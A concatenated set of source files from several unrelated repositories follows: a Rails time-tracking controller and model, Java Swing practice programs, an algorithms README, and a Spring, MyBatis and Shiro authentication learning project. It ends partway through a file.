@eventsall = @eventsall.where(Member_id:@@Member_id) @eventsall =@eventsall.where(PjMaster_id:@@PjMaster_id) @Applysection_id = Member.where(id:@@Member_id).pluck(:Applysection_id)[0] end if @@Member_id != 22 && @@Applysection_id!=1 && @@PjMaster_id == 2 @eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id }) @eventsall = @eventsall.where(Member_id:@@Member_id) @members = @members.where(Applysection_id:@@Applysection_id) @Applysection = @Applysection.where(id:@@Applysection_id) end if @@Member_id != 22 && @@Applysection_id!=1 && @@PjMaster_id != 2 @eventsall = Event.includes(:Member).where(members: {Applysection_id:@@Applysection_id }) @eventsall = @eventsall.where(Member_id:@@Member_id,PjMaster_id:@@PjMaster_id) @members = @members.where(Applysection_id:@@Applysection_id) @Applysection = @Applysection.where(id:@@Applysection_id) end #params[:start_date] = @@day #flash.now[:notice] = "edit#{@@day}" end # POST /events # POST /events.json def create @event = Event.new(event_params) flash.now[:notice] = "create#{@@day}" respond_to do |format| if @event.save format.html {redirect_to edit_event_path(@event,:Member_id =>@Member_id,:PjMaster_id =>@PjMaster_id, :Applysection_id =>@Applysection_id,:start_date => @@day), notice:'็™ป้Œฒใ—ใพใ—ใŸใ€‚' } format.json { render :show, status: :created, location: @event } else format.html { render :new } format.json { render json: @event.errors, status: :unprocessable_entity } end end end # PATCH/PUT /events/1 # PATCH/PUT /events/1.json def update #flash.now[:notice] = "update#{@@day}" respond_to do |format| if @event.update(event_params) format.html {redirect_to edit_event_path(@event,:Member_id =>@Member_id,:PjMaster_id =>@PjMaster_id, :Applysection_id =>@Applysection_id,:start_date => @@day), notice:'ๆ›ดๆ–ฐใ—ใพใ—ใŸใ€‚'} format.json { render :show, status: :ok, location: @event } else format.html { render :edit } format.json { render json: @event.errors, status: :unprocessable_entity } end end end # DELETE /events/1 # DELETE /events/1.json def destroy @event.destroy #@event = Event.new(:kosu => 1, :Member_id => @Member_id,:PjMaster_id => @PjMaster_id,:start_date => @@day) @day = Time.now @Member_id = @@Member_id @PjMaster_id = @@PjMaster_id @Applysection_id= @@Applysection_id respond_to do |format| if @event.save format.html {redirect_to new_event_path(:start_time => @day,:Member_id =>@Member_id,:PjMaster_id =>@PjMaster_id, :Applysection_id =>@Applysection_id,:start_date => @@day), notice:'ๅ‰Š้™คใ—ใพใ—ใŸใ€‚' } #format.html { render :new } format.json { render :show, status: :created, location: @event } else format.html { render :new } format.json { render json: @event.errors, status: :unprocessable_entity } end end end private # Use callbacks to share common setup or constraints between actions. def set_event2 #@Member_id = params[:Member_id] #@PjMaster_id = params[:PjMaster_id] #@Applysection_id= params[:Applysection_id] @eventsall = Event.all.where(Member_id:@Member_id) end def set_event @event = Event.find(params[:id]) @day = Time.now() @members = Member.all @eventall = Event.all @Applysection = Applysection.all #flash.now[:notice] = "ใ‚ˆใ†ใ“ใใ€‚ๆœฌๆ—ฅใฏ#{@Member_id}yo" @@day = Event.where(id: params[:id]).pluck(:start_time)[0] #flash.now[:notice] = "R#{@@day}" @start_date =@@day end # Never trust parameters from the scary internet, only allow the white list through. def event_params params.require(:event).permit(:name, :start_time, :end_time,:loginname ,:kosu,:PjMaster_id, :Fsesagyo_id, :Member_id) end def set_current_member if member_signed_in? Member.current = current_member.membername end end def search_events #flash.now[:notice] = "ใ‚ˆใ†ใ“ใใ€‚ๆœฌๆ—ฅใฏ" #@events = Event.find(params[:Applysection_id]) @events = Event.includes(:Member).where(members: { Applysection_id:params[:Applysection_id] }) #@members = Member.where(id:params[:Applysection_id].to_id) @Member_id = params[:Member_id].to_i #@@day = params[:date] render layout: false end end ``` event.rb ```class Event < ActiveRecord::Base belongs_to :Fsesagyo belongs_to :Member belongs_to :PjMaster after_initialize :set_default, if: :new_record? before_update:get_changes private def set_default() self.loginname = Member.current if self.Member_id == 22 self.Member_id = Member.where(membername: Member.current).pluck(:id)[0] end end def get_changes if self.Member_id_changed? && self.Member_id == 22 self.Member_id = Member.where(membername: Member.current).pluck(:id)[0] end end end```
yuktachauhan/javaPrograms
yuktachauhan/javaPrograms SwingPractice.java ```import javax.swing.*; import java.awt.*; class SwingPractice { public static void main(String... args){ SwingPractice swingPractice = new SwingPractice(); swingPractice.go(); } public void go(){ JFrame frame = new JFrame(); JPanel panel =new JPanel(); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); panel.setBackground(Color.darkGray); panel.setLayout(new BoxLayout(panel ,BoxLayout.Y_AXIS)); JButton button1=new JButton("Yukta Chauhan."); JButton button2=new JButton("Shradha Chauhan."); JButton button3=new JButton("Shreya Chauhan."); JButton button4=new JButton("Yuvraj Chauhan."); JButton button5=new JButton("Yukta Chauhan."); JButton button6=new JButton("Shradha Chauhan."); JButton button7=new JButton("Shreya Chauhan."); JButton button8=new JButton("Yuvraj Chauhan."); JButton button9=new JButton("Yukta Chauhan."); JButton button10=new JButton("Shradha Chauhan."); JButton button11=new JButton("Shreya Chauhan."); JButton button12=new JButton("Yuvraj Chauhan."); panel.add(button1); panel.add(button2); panel.add(button3); panel.add(button4); panel.add(button5); panel.add(button6); panel.add(button7); panel.add(button8); panel.add(button9); panel.add(button10); panel.add(button11); panel.add(button12); frame.setContentPane(panel); //here we make the panel as contentpane frame.setSize(300,300); frame.setVisible(true); } }``` TwoDGraphics.java ```import javax.swing.*; import java.awt.*; import java.awt.event.*; class Graph2D extends JPanel{ public void paintComponent(Graphics g){ g.fillRect(0,0,this.getWidth(),this.getHeight()); Graphics2D g2D=(Graphics2D) g; int red =(int) (Math.random()*255); int green =(int) (Math.random()*255); int blue =(int) (Math.random()*255); Color startclr = new Color(red,green,blue); red =(int) (Math.random()*255); green =(int) (Math.random()*255); blue =(int) (Math.random()*255); Color endclr = new Color(red,green,blue); GradientPaint gradient = new GradientPaint(70,70,startclr,140,140,endclr); g2D.setPaint(gradient); g2D.fillOval(70,70,100,100); } } class TwoDGraphics implements ActionListener{ public JButton button; public JFrame frame; public static void main(String... x){ TwoDGraphics graphics=new TwoDGraphics(); graphics.go(); } public void go(){ frame =new JFrame(); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); Graph2D graph =new Graph2D(); button =new JButton("click to change color"); button.addActionListener(this); frame.getContentPane().add(BorderLayout.SOUTH,button); frame.getContentPane().add(BorderLayout.CENTER,graph); frame.setSize(300,300); frame.setVisible(true); } public void actionPerformed(ActionEvent event){ frame.repaint(); } }```
yukteshwar/Algorithms_By_Dasgupta_Papadimitriou_Vazirani
yukteshwar/Algorithms_By_Dasgupta_Papadimitriou_Vazirani README.md ```# Algorithms_By_Dasgupta_Papadimitriou_Vazirani This repository is for practicing algorithms as an interdisciplinary skill. It contains solutions to book: Algorithms by Dasgupta, Papadimitriou, and Vazirani. I found this book concise and easy to understand by practicing problems at the end of each chapter. Please offer thoughts and corrections at byukteshwar@gmail.com ```
yukyyq2005/mybatis
yukyyq2005/mybatis PermissionMapper.java ```package com.kfit.mybatis.dao; import com.kfit.mybatis.domain.Permission; import org.apache.ibatis.annotations.Insert; import tk.mybatis.mapper.common.Mapper; public interface PermissionMapper extends Mapper<Permission> { }``` CustomSessionManager.java ```package com.kfit.mybatis.config; import org.apache.shiro.web.servlet.ShiroHttpServletRequest; import org.apache.shiro.web.session.mgt.DefaultWebSessionManager; import org.apache.shiro.web.util.WebUtils; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import java.io.Serializable; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/8/10 22:34 * @modified By๏ผš */ public class CustomSessionManager extends DefaultWebSessionManager { @Override protected Serializable getSessionId(ServletRequest request, ServletResponse response) { String sessionid = WebUtils.toHttp(request).getHeader("token"); if (sessionid != null){ request.setAttribute(ShiroHttpServletRequest.REFERENCED_SESSION_ID_SOURCE, ShiroHttpServletRequest.COOKIE_SESSION_ID_SOURCE); request.setAttribute(ShiroHttpServletRequest.REFERENCED_SESSION_ID,sessionid); request.setAttribute(ShiroHttpServletRequest.REFERENCED_SESSION_ID_IS_VALID,Boolean.TRUE); return sessionid; }else{ return super.getSessionId(request,response); } } } ``` QuickStartTest4_2.java ```package com.kfit.mybatis; import org.apache.shiro.SecurityUtils; import org.apache.shiro.authc.UsernamePasswordToken; import org.apache.shiro.mgt.DefaultSecurityManager; import org.apache.shiro.realm.SimpleAccountRealm; import org.apache.shiro.subject.Subject; import org.junit.Before; import org.junit.Test; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/8/10 10:38 * @modified By๏ผš */ public class QuickStartTest4_2 { private SimpleAccountRealm accountRealm = new SimpleAccountRealm(); private DefaultSecurityManager defaultSecurityManager = new DefaultSecurityManager(); @Before public void init(){ //ๅˆๅง‹ๅŒ–ๆ•ฐๆฎๆบ accountRealm.addAccount("xdclass","123"); accountRealm.addAccount("jack","456"); //ๆž„ๅปบ็Žฏๅขƒ defaultSecurityManager.setRealm(accountRealm); } @Test public void testAuthentication(){ SecurityUtils.setSecurityManager(defaultSecurityManager); //ๅฝ“ๅ‰ๆ“ไฝœไธปไฝ“๏ผŒapplication user Subject subject = SecurityUtils.getSubject(); //็”จๆˆท่พ“ๅ…ฅ็š„่ดฆๅทๅ’Œๅฏ†็  UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken("xdclass","123"); subject.login(usernamePasswordToken); System.out.println("่ฎค่ฏ็ป“ๆžœ๏ผš"+subject.isAuthenticated()+subject.getPrincipals()); System.out.println("ๆ˜ฏๅฆๆœ‰root่ง’่‰ฒ๏ผš"+subject.hasRole("root")); } } ``` DisplayMessage.java ```package com.kfit.mybatis.other; import com.kfit.mybatis.service.UserService; import com.kfit.mybatis.domain.User; import org.springframework.beans.factory.annotation.Autowired; import javax.annotation.Resource; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/2/24 21:53 * @modified By๏ผš */ public class DisplayMessage extends Thread { @Resource private UserService userService; private String message; public DisplayMessage(String message) { this.message = message; } public void setObject(UserService user) { userService = user; } @Override public void run() { for (int i = 0; i < 10; i++) { userService.modifyUser(); } } } ``` NormalHandler.java ```package com.kfit.mybatis.service; import com.kfit.mybatis.service.Impl.Man; import org.apache.ibatis.javassist.compiler.SymbolTable; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.math.BigDecimal; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/7/13 12:19 * @modified By๏ผš */ public class NormalHandler implements InvocationHandler { private Object target; public NormalHandler() { } public NormalHandler(Object target) { this.target = target; } public Object newProxyInstance(Object targetObject){ this.target=targetObject; //่ฏฅๆ–นๆณ•็”จไบŽไธบๆŒ‡ๅฎš็ฑป่ฃ…่ฝฝๅ™จใ€ไธ€็ป„ๆŽฅๅฃๅŠ่ฐƒ็”จๅค„็†ๅ™จ็”ŸๆˆๅŠจๆ€ไปฃ็†็ฑปๅฎžไพ‹ //็ฌฌไธ€ไธชๅ‚ๆ•ฐๆŒ‡ๅฎšไบง็”Ÿไปฃ็†ๅฏน่ฑก็š„็ฑปๅŠ ่ฝฝๅ™จ๏ผŒ้œ€่ฆๅฐ†ๅ…ถๆŒ‡ๅฎšไธบๅ’Œ็›ฎๆ ‡ๅฏน่ฑกๅŒไธ€ไธช็ฑปๅŠ ่ฝฝๅ™จ //็ฌฌไบŒไธชๅ‚ๆ•ฐ่ฆๅฎž็Žฐๅ’Œ็›ฎๆ ‡ๅฏน่ฑกไธ€ๆ ท็š„ๆŽฅๅฃ๏ผŒๆ‰€ไปฅๅช้œ€่ฆๆ‹ฟๅˆฐ็›ฎๆ ‡ๅฏน่ฑก็š„ๅฎž็ŽฐๆŽฅๅฃ //็ฌฌไธ‰ไธชๅ‚ๆ•ฐ่กจๆ˜Ž่ฟ™ไบ›่ขซๆ‹ฆๆˆช็š„ๆ–นๆณ•ๅœจ่ขซๆ‹ฆๆˆชๆ—ถ้œ€่ฆๆ‰ง่กŒๅ“ชไธชInvocationHandler็š„invokeๆ–นๆณ• //ๆ นๆฎไผ ๅ…ฅ็š„็›ฎๆ ‡่ฟ”ๅ›žไธ€ไธชไปฃ็†ๅฏน่ฑก return Proxy.newProxyInstance(targetObject.getClass().getClassLoader(), targetObject.getClass().getInterfaces(),this); } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { // for(int i=0;i<args.length;i++){ // System.out.println(args[i]); // } Object ret=null; try{ /*ๅŽŸๅฏน่ฑกๆ–นๆณ•่ฐƒ็”จๅ‰ๅค„็†ๆ—ฅๅฟ—ไฟกๆฏ*/ System.out.println("start-->>"); //่ฐƒ็”จ็›ฎๆ ‡ๆ–นๆณ• ret=method.invoke(target, args); /*ๅŽŸๅฏน่ฑกๆ–นๆณ•่ฐƒ็”จๅŽๅค„็†ๆ—ฅๅฟ—ไฟกๆฏ*/ System.out.println("end-->>"); }catch(Exception e){ e.printStackTrace(); System.out.println("error-->>"); throw e; } return ret; } public static void main(String arg[]){ NormalHandler logHandler1=new NormalHandler(); IPerson iPerson=(IPerson)logHandler1.newProxyInstance(new Man()); iPerson.say("xxx"); // Man man = new Man(); NormalHandler normalHandler = new NormalHandler(man); iPerson = (IPerson) Proxy.newProxyInstance(IPerson.class.getClassLoader(), man.getClass().getInterfaces(), normalHandler); iPerson.say("dd"); double a=0.3; double b=0.1; double g = a-b; BigDecimal h = new BigDecimal(g); System.out.println(a-b); BigDecimal c = new BigDecimal("10"); BigDecimal d = new BigDecimal("3"); BigDecimal cd = c.divide(d,3,BigDecimal.ROUND_FLOOR); System.out.println("c+d=:"+cd); String srr = cd.toString(); double e = c.floatValue(); double f = d.floatValue(); System.out.println(c.floatValue()-d.floatValue()); } } ``` ShiroConfig.java ```package com.kfit.mybatis.config; import org.apache.shiro.authc.credential.HashedCredentialsMatcher; import org.apache.shiro.mgt.SecurityManager; import org.apache.shiro.session.mgt.SessionManager; import org.apache.shiro.spring.web.ShiroFilterFactoryBean; import org.apache.shiro.web.mgt.DefaultWebSecurityManager; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import java.util.LinkedHashMap; import java.util.Map; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/8/10 22:17 * @modified By๏ผš */ @Configuration public class ShiroConfig { @Bean public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager){ System.out.println("ShiroFilterFactoryBean"); ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean(); //ๅฟ…้กป่ฎพ็ฝฎsecurityManager shiroFilterFactoryBean.setSecurityManager(securityManager); //้œ€่ฆ็™ปๅฝ•็š„ๆŽฅๅฃ๏ผŒๅฆ‚ๆžœ่ฎฟ้—ฎๆŸไธชๆŽฅๅฃ๏ผŒ้œ€่ฆ็™ปๅฝ•ๅดๆฒกๆœ‰็™ปๅฝ•๏ผŒๅˆ™่ฐƒ็”จๆญคๆŽฅๅฃ๏ผˆๅฆ‚ๆžœไธๆ˜ฏ // ๅ‰ๅŽ็ซฏๅˆ†็ฆป๏ผŒๅˆ™่ทณ่ฝฌ้กต้ข๏ผ‰ shiroFilterFactoryBean.setLoginUrl("/pub/need_login"); //็™ปๅฝ•ๆˆๅŠŸ๏ผŒ่ทณ่ฝฌurl๏ผŒๅฆ‚ๆžœๅ‰ๅŽ็ซฏๅˆ†็ฆป๏ผŒๅˆ™ๆฒก่ฟ™ไธช่ฐƒ็”จ shiroFilterFactoryBean.setSuccessUrl("/"); //็™ปๅฝ•ไบ†ไฝ†ๆ˜ฏๆฒกๆœ‰ๆƒ้™๏ผŒ็ฑปไผผ403 shiroFilterFactoryBean.setUnauthorizedUrl("/pub/not_permit"); //ๆ‹ฆๆˆชๅ™จ่ทฏๅพ„ // ๅ‘1 ๅฟ…้กปไฝฟ็”จๆœ‰ๅบ็š„linkedhashmap Map filter = new LinkedHashMap<>(); //้€€ๅ‡บ่ฟ‡ๆปคๅ™จ filter.put("/logout","logout"); // //ๅŒฟๅๅฏไปฅ่ฎฟ้—ฎ๏ผŒๆธธๅฎขๆจกๅผ filter.put("/pub/**","anon"); // //็™ปๅฝ•็”จๆˆทๆ‰ๅฏไปฅ่ฎฟ้—ฎ filter.put("/authc/**","authc"); // //็ฎก็†ๅ‘˜่ง’่‰ฒๆ‰ๅฏไปฅ่ฎฟ้—ฎ filter.put("/admin/**","roles[admin]"); // //ๆœ‰็ผ–่พ‘ๆƒ้™็š„ๆ‰ๅฏไปฅ่ฎฟ้—ฎ filter.put("/video/update","perms[video_update]"); // //ๅ…จๅฑ€url authc ๏ผšurlๅฎšไน‰ๅฟ…้กป้€š่ฟ‡่ฎค่ฏๆ‰ๅฏไปฅ่ฎฟ้—ฎ // //anon: urlๅฏไปฅๅŒฟๅ่ฎฟ้—ฎ filter.put("/**","authc"); //ๅ‘2 ่ฟ‡ๆปคๅ™จๆ˜ฏ้กบๅบๆ‰ง่กŒ๏ผŒไปŽไธŠๅˆฐไธ‹๏ผŒไธ€่ˆฌ/** ๆ”พๆœ€ไธ‹้ข shiroFilterFactoryBean.setFilterChainDefinitionMap(filter); return shiroFilterFactoryBean; } @Bean public SecurityManager securityManager(){ DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); //ๅฆ‚ๆžœไธๆ˜ฏๅ‰ๅŽ็ซฏๅˆ†็ฆป๏ผŒๅฐฑไธ็”จsetSessionManager securityManager.setSessionManager(sessionManager()); //่ฟ™้‡Œๆ”พๆœ€ๅŽ๏ผŒไธ็„ถๆœ‰็š„็‰ˆๆœฌไธ็”Ÿๆ•ˆ securityManager.setRealm(customRealm()); return securityManager; } @Bean public CustomRealm customRealm(){ CustomRealm customRealm = new CustomRealm(); //customRealm.setCredentialsMatcher(hashedCredentialsMatcher());//่ฎพ็ฝฎๅŠ ๅฏ† return customRealm; } @Bean public HashedCredentialsMatcher hashedCredentialsMatcher(){ HashedCredentialsMatcher credentialsMatcher = new HashedCredentialsMatcher(); //่ฎพ็ฝฎๆ•ฃๅˆ—็ฎ—ๆณ•๏ผŒ่ฎพ็ฝฎmd5 credentialsMatcher.setHashAlgorithmName("md5"); //ๆ•ฃๅˆ—2ๆฌก๏ผŒ็›ธๅฝ“ไบŽmd5(md5(xxx)) credentialsMatcher.setHashIterations(2); return credentialsMatcher; } @Bean public SessionManager sessionManager(){ CustomSessionManager customSessionManager = new CustomSessionManager(); //่ถ…ๆ—ถๆ—ถ้—ด๏ผŒ้ป˜่ฎค30ๅˆ†้’Ÿ๏ผŒๅ•ไฝๆ˜ฏๆฏซ็ง’ // customSessionManager.setGlobalSessionTimeout(10*1000); return customSessionManager; } } ``` Stu.java ```package com.kfit.mybatis.domain; import javax.persistence.*; public class Stu { private Long id; private String name; private String sex; private String age; private Integer cno; /** * @return id */ public Long getId() { return id; } /** * @param id */ public void setId(Long id) { this.id = id; } /** * @return name */ public String getName() { return name; } /** * @param name */ public void setName(String name) { this.name = name == null ? null : name.trim(); } /** * @return sex */ public String getSex() { return sex; } /** * @param sex */ public void setSex(String sex) { this.sex = sex == null ? null : sex.trim(); } /** * @return age */ public String getAge() { return age; } /** * @param age */ public void setAge(String age) { this.age = age == null ? null : age.trim(); } /** * @return cno */ public Integer getCno() { return cno; } /** * @param cno */ public void setCno(Integer cno) { this.cno = cno; } }``` PublicController.java ```package com.kfit.mybatis.controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/8/11 15:41 * @modified By๏ผš */ @RestController @RequestMapping("pub") public class PublicController { @RequestMapping("need_login") public Object needLogin(){ return "้œ€่ฆ็™ปๅฝ•ๆ‰่ƒฝ่ฎฟ้—ฎ"; } @RequestMapping("not_permit") public Object notPermis(){ return "ๆฒกๆœ‰ๆƒ้™๏ผŒๆ‹’็ป่ฎฟ้—ฎ"; } @RequestMapping("index") public Object index(){ return "index"; } } ``` InitController.java ```package com.kfit.mybatis.controller; import com.kfit.mybatis.domain.Product; import com.kfit.mybatis.domain.UserInfo; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.*; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.List; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/6/23 17:13 * @modified By๏ผš */ @Controller public class InitController { @RequestMapping("/websocket") public String init() { return "index.html"; } @GetMapping("/hello") public String index(Model model) throws ParseException { SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); Product product = new Product("่Šฑ็”Ÿๆฒน", 129, sdf.parse("2018-02-18")); model.addAttribute("product", product); return "daily"; } @RequestMapping(value = { "/addProduct" }, method = RequestMethod.GET) public String showaddProduct(Model model)throws ParseException { //List<Product> saleTypes = new ArrayList<Product>(); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); UserInfo userInfo = new UserInfo("",""); model.addAttribute("userInfo", userInfo); return "addProduct"; } @RequestMapping(value = { "/saveProduct" }, method = RequestMethod.POST) public String saveprodcut(Model model, String name) throws ParseException { //List productList = DAO.loadAllProducts(); //model.addAttribute("productList", productList); List productList = InitController.loadAllProducts(); model.addAttribute("productList", productList); return "springel"; } @ResponseBody @RequestMapping(value="/save",method=RequestMethod.POST) public String add(@ModelAttribute UserInfo user){ String username = user.getName(); String password = user.getContent(); return username+"__"+password; } public static List<Product> loadAllProducts() { SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); List<Product> products = new ArrayList<Product>(); try { products.add(new Product("่Šฑ็”Ÿๆฒน", Integer.valueOf(125), sdf.parse("2018-02-18"))); products.add(new Product("่‹ๆ‰“้ฅผๅนฒ", Integer.valueOf(15), sdf.parse("208-02-15"))); products.add(new Product("ๆ‹ฟ้“", Integer.valueOf(45), sdf.parse("2019-02-20"))); products.add(new Product("่ฐƒๅ’Œๆฒน", Integer.valueOf(20), sdf.parse("2019-02-21"))); products.add(new Product("ๅคง่ฑ†ๆฒน", Integer.valueOf(49), sdf.parse("2019-02-15"))); products.add(new Product("็މ็ฑณๆฑ", Integer.valueOf(80), sdf.parse("2019-02-17"))); } catch (ParseException ex) { throw new RuntimeException("Invalid date"); } return products; } } ``` Man.java ```package com.kfit.mybatis.service.Impl; import com.kfit.mybatis.service.IPerson; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/7/13 12:18 * @modified By๏ผš */ public class Man implements IPerson { @Override public void say(String id) { System.out.println("man say:"+id); } } ``` IPerson.java ```package com.kfit.mybatis.service; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/7/13 12:18 * @modified By๏ผš */ public interface IPerson { void say(String id); }``` RoleMapper.java ```package com.kfit.mybatis.dao; import com.kfit.mybatis.domain.Role; import org.apache.ibatis.annotations.Insert; import tk.mybatis.mapper.common.Mapper; public interface RoleMapper extends Mapper<Role> { }``` User.java ```package com.kfit.mybatis.domain; import java.util.Date; import java.util.List; import javax.persistence.*; @Table(name = "admin") public class User { private Integer id; private String username; private String password; @Column(name = "create_time") private Date createTime; private String salt; //่ง’่‰ฒๅˆ—่กจ private List<Role> roleList; //ๆƒ้™ๅˆ—่กจ private List<Permission> permissionsList; public List<Permission> getPermissionsList() { return permissionsList; } public void setPermissionsList(List<Permission> permissionsList) { this.permissionsList = permissionsList; } public List<Role> getRoleList() { return roleList; } public void setRoleList(List<Role> roleList) { this.roleList = roleList; } /** * @return id */ public Integer getId() { return id; } /** * @param id */ public void setId(Integer id) { this.id = id; } /** * @return username */ public String getUsername() { return username; } /** * @param username */ public void setUsername(String username) { this.username = username == null ? null : username.trim(); } /** * @return password */ public String getPassword() { return password; } /** * @param password */ public void setPassword(String password) { this.password = password == null ? null : password.trim(); } /** * @return create_time */ public Date getCreateTime() { return createTime; } /** * @param createTime */ public void setCreateTime(Date createTime) { this.createTime = createTime; } /** * @return salt */ public String getSalt() { return salt; } /** * @param salt */ public void setSalt(String salt) { this.salt = salt == null ? null : salt.trim(); } }``` ProducerInt.java ```package com.kfit.mybatis.test; import com.kfit.mybatis.dao.UserMapper; import com.kfit.mybatis.domain.User; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; /** * @author ๏ผšyouq * @date ๏ผšCreated in 2019/6/29 23:17 * @modified By๏ผš */ //@Component public class ProducerInt { // @Autowired //UserMapper userMapper; private User clerk; public ProducerInt(User clerk){ this.clerk = clerk; } public void run() { //userMapper.insert(this.clerk); System.out.println("็”Ÿไบง่€…ๅผ€ๅง‹็”Ÿไบงๆ•ดๆ•ฐไบ†.................."); } } ``` OperationLogSaver.java ```package com.kfit.mybatis; import com.kfit.mybatis.domain.User; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.util.ArrayList; import java.util.List; import java.util.concurrent.LinkedBlockingQueue; /** * @Author: youq * @Description: ็”จไบŽๅ‘ๆ•ฐๆฎๅบ“ไธญๅ†™ๅ…ฅๆ“ไฝœๆ—ฅๅฟ— * @Date: Created in 14:56 2018/06/29 * @Modified By: */ @Service public class OperationLogSaver { protected static Logger logger = LoggerFactory.getLogger(OperationLogSaver.class); @Autowired private DaoUtil daoUtil; private LinkedBlockingQueue<User> queue; private static int dbCacheSize = 100; private static Thread saverdbThread; public OperationLogSaver() { init(); } public void putRecord(List<User> records){ queue.addAll(records); } public void putRecord(User record){ try { queue.put(record); } catch (InterruptedException e) { logger.error(e.getMessage(),e); } } public void init() { queue = new LinkedBlockingQueue<User>(); saverdbThread = new Thread("operationLog-Saver") { @Override public void run() { try { while (true) { if(null == queue || queue.isEmpty()){ Thread.sleep(500); //System.out.println("sleep 500"); continue; } logger.info("ๆ€ปไธชๆ•ฐ "+ queue.size()); List<User> list = new ArrayList<User>(); queue.drainTo(list, dbCacheSize); logger.info("ๅค„็†็š„ไธชๆ•ฐ "+ list.size()); if(null != list && list.size() > 0){ daoUtil.batchInsert(list); Thread.sleep(3000); } } } catch (Exception t) { logger.error("Unexpected exception on Thread %s!", t); } } }; saverdbThread.start(); } } ``` QuickStartTest5_2.java ```package com.kfit.mybatis; import org.apache.shiro.SecurityUtils; import org.apache.shiro.authc.UsernamePasswordToken; import org.apache.shiro.mgt.DefaultSecurityManager; import org.apache.shiro.realm.SimpleAccountRealm; import org.apache.shiro.subject.Subject; import org.junit.Before; import org.junit.Test; /** * ่‡ชๅฎšไน‰realm * @author ๏ผšyouq * @date ๏ผšCreated in 2019/8/10 14:38 * @modified By๏ผš */ public class QuickStartTest5_2 { private CustomRealm accountRealm = new CustomRealm(); private DefaultSecurityManager defaultSecurityManager = new DefaultSecurityManager(); @Before public void init(){ //ๅˆๅง‹ๅŒ–ๆ•ฐๆฎๆบ // accountRealm.addAccount("xdclass","123"); // accountRealm.addAccount("jack","456"); //ๆž„ๅปบ็Žฏๅขƒ defaultSecurityManager.setRealm(accountRealm); SecurityUtils.setSecurityManager(defaultSecurityManager); } @Test public void testAuthentication(){ //ๅฝ“ๅ‰ๆ“ไฝœไธปไฝ“๏ผŒapplication user Subject subject = SecurityUtils.getSubject(); //็”จๆˆท่พ“ๅ…ฅ็š„่ดฆๅทๅ’Œๅฏ†็  UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken("xdclass33","123"); subject.login(usernamePasswordToken); System.out.println("่ฎค่ฏ็ป“ๆžœ๏ผš"+subject.isAuthenticated()+subject.getPrincipals()); System.out.println("ๆ˜ฏๅฆๆœ‰่ง’่‰ฒ๏ผš"+subject.hasRole("role")); System.out.println("ๆ˜ฏๅฆๆœ‰ๆƒ้™๏ผš"+subject.isPermitted("pubd:buy:srwe")); } } ``` UserMapper.java ```package com.kfit.mybatis.dao; import com.kfit.mybatis.domain.User; import org.apache.ibatis.annotations.Insert; import tk.mybatis.mapper.common.Mapper; public interface UserMapper extends Mapper<User> { }``` CustomRealm.java ```package com.kfit.mybatis.config; import com.kfit.mybatis.dao.UserMapper; import com.kfit.mybatis.domain.User; import org.apache.shiro.authc.AuthenticationException; import org.apache.shiro.authc.AuthenticationInfo; import org.apache.shiro.authc.AuthenticationToken; import org.apache.shiro.authc.SimpleAuthenticationInfo; import org.apache.shiro.authz.AuthorizationInfo; import org.apache.shiro.authz.SimpleAuthorizationInfo; import org.apache.shiro.realm.AuthorizingRealm; import org.apache.shiro.subject.PrincipalCollection; import org.springframework.beans.factory.annotation.Autowired; import java.util.HashSet; import java.util.Set; /** * ่‡ชๅฎšไน‰realm * @author ๏ผšyouq * @date ๏ผšCreated in 2019/8/10 14:32 * @modified By๏ผš */ //่ฎค่ฏ (authentication) ๅ’ŒๆŽˆๆƒ (authorization) public class CustomRealm extends AuthorizingRealm { @Autowired private UserMapper userMapper; //็”จๆˆท็™ปๅฝ•็š„ๆ—ถๅ€™่ฐƒ็”จ //้‡ๅ†™่ฎค่ฏๆ–นๆณ• @Override protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException { //ไปŽtoken่Žทๅ–่บซไปฝไฟกๆฏ๏ผŒtokenไปฃ่กจ็”จๆˆท่พ“ๅ…ฅ็š„ไฟกๆฏ String name = (String) token.getPrincipal(); //String pwd = getPwdByUserNameFromDB(name); User user = new User(); user.setUsername(name); User newUser = userMapper.selectOne(user); String pwd = null; if(newUser != null){ pwd = newUser.getPassword(); } System.out.println("่ฎค่ฏ doGetAuthenticationInfo "+name+" ๅฏ†็  "+pwd); if (pwd==null || "".equals(pwd)){ return null; } SimpleAuthenticationInfo simpleAuthenticationInfo = new SimpleAuthenticationInfo(name,pwd,this.getName()); return simpleAuthenticationInfo; } //็”จๆˆทๆƒ้™ๆ ก้ชŒ็š„ๆ—ถๅ€™่ฐƒ็”จ //้‡ๅ†™ๆŽˆๆƒๆ–นๆณ• @Override protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) { 